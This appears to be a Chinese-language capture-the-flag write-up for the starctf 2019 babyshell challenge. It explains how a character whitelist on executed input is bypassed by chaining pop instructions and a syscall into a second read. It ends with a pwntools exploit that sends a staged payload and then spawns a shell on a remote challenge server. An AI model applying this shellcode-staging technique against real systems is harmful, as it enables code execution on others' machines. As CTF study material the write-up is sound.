BUU-starctf_2019_babyshell-WP

Posted on Jan 9, 2021

这道题目很有意思,我很喜欢

分析

流程很简单

这里读入一段,然后

进入这样一个判断,做的事就是对我们输入的串中的每个字母在

这个字符串里找匹配,如果每个都能匹配到,就执行我们输入的字符串(shellcode)。之前我也做的过类似的题目,那道是可见字符shellcode,比这道题要求松一些,也有现成的工具。遗憾的是,本题没有工具生成,不会,看wp。

解法

解决的方法是硬凑。也确实,我们看到字符串里说here is a gift,后面是一个奇怪的东西,就应该考虑把它转成汇编试试。IDA里面是这样做的

先想红圈里面那样选中区域,然后edit里面选code,之后会跳出一个警告,选force让他强制转就行了。

发现有一个syscall,也就是说我们可以在code里面加syscall,顺着这个思路我们考虑把所有的都转成汇编试试

发现我们可以用这俩

然后在call rdx之前eax又被置成了0,这是sys_read的调用号,所以我们就可以考虑构造sys_read来补充shellcode实现getshell,也就是说再read一次,此时rsi仍然指向buf,所以我们补充的shellcode可以直接被执行

这俩数就可以做rdx和rdi的值,所以

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *

context(log_level = 'debug',os = 'linux',arch = 'amd64')

payload = asm("pop rdi;pop rdi;pop rdi;pop rdx;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;syscall")
#sh = process("./starctf_2019_babyshell")
sh = remote("node3.buuoj.cn",28335)
sh.sendlineafter("plz:\n",payload)
sh.sendline('a' * 0xc + asm(shellcraft.sh()))

sh.interactive()

没有独立想到还是有些许遗憾的